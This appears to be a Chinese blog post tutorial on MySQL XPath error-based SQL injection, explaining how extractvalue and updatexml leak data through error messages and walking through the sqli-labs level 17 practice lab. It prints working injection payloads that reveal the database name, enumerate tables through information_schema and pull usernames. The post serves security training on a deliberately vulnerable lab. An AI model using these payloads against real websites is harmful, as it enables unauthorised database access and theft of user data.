mysql漏洞函数xpath_【渗透重点】原理分析+题目实战轻松掌握SQL注入

原标题:【渗透重点】原理分析+题目实战轻松掌握SQL注入前言:SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到的SQL注入方法,原理分析+题目实战。0 1Xpath报错注入涉及函数updatexml:对xml进行查询和修改extractvalue:对xml进行查询和修改报错语句构造selectextrac...
摘要由CSDN通过智能技术生成

原标题:【渗透重点】原理分析+题目实战轻松掌握SQL注入

前言:

SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到的SQL注入方法,原理分析+题目实战。

0 1

Xpath报错注入

涉及函数

updatexml:对xml进行查询和修改

extractvalue:对xml进行查询和修改

报错语句构造

selectextractvalue( 1, concat( 0x7e, user, 0x7e));

mysql> selectextractvalue( 1, concat( 0x7e,user, 0x7e));

ERROR 1105(HY000): XPATH syntax error: '~root@localhost~'

selectupdatexml( 1, concat( 0x7e, version, 0x7e), 1);

mysql> selectupdatexml( 1, concat( 0x7e,version, 0x7e), 1);

ERROR 1105(HY000): XPATH syntax error: '~5.5.53~'

原理分析

extractvalue(xml_str , Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回值都是NULL。

其实就是对XML文档进行查询的函数,相当于HTML文件中用

等标签查找元素一样,第一个参数传入目标xml文档,第二个参数使用Xpath路径法表示的查找路径

举个简单例子:

selectextractvalue( 'abbbacccaaaa','/a/c');

寻找前一段xml文档内容中的a节点下的c节点

+----------------------------------------------------------+

| extractvalue( 'abbbacccaaaa','/a/c') |

+----------------------------------------------------------+

| accc |

+----------------------------------------------------------+

正常情况下的使用便是这样,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容。

30db85d57c354ea8e223a29471787a0e.png

发现报错时少了一部分,没有前面的root,产生这样的问题是因为Xpath语法只有遇到特殊字符时才会报错

那我们直接在需要连接的字符前添加特殊字符即可爆出我们想要的结果

19b34c05f456d545f3cc032ad37e667f.png

但是也要注意,报错的长度是有一定限制的,不要构造过长的payload,否则后面的字符串会被截断

4c39000e4bd521bbcee288da6b957397.png

updatexml函数 与extractvalue类似 ,是更新xml文档的函数

updatexml函数有三个参数,分别是(XML_document, XPath_string, new_value)

第一个参数:XML_document是 String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value, String格式,替换查找到的符合条件的数据

原理相同,都是遇到特殊字符爆出错误

d09fbb6a3b2396cd1ad61a0b853543fe.png

题目实战

sqli-labs17关,涉及到xpath报错注入

uname尝试发现没有任何变化,尝试下passwd,发现单引号报错,且有报错信息,可以使用xpath报错注入 尝试下爆出数据库

uname=admin&passwd=1' or updatexml(1,concat(0x7e,database,0x7e),1) # &submit=Submit

0f3d2ad1a551f03543bd1e94b20b4f08.png

既然xpath报错注入可以,那就来一一爆出表、字段、值即可

payload:

uname=admin&passwd=1' or updatexml(1,( selectgroup_concat(table_name) from

information_schema.TABLES whereTABLE_SCHEMA= database), 1) # &submit=Submit

017e25ddcd27d1d58a87164c17e35ca3.png

下面就基本上将payload改下即可,但到爆值时会出一个问题

payload:

uname=admin&passwd=' or updatexml(1,concat(0x7e,( selectusername fromusers), 0x7e), 1) #&submit=Submit

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值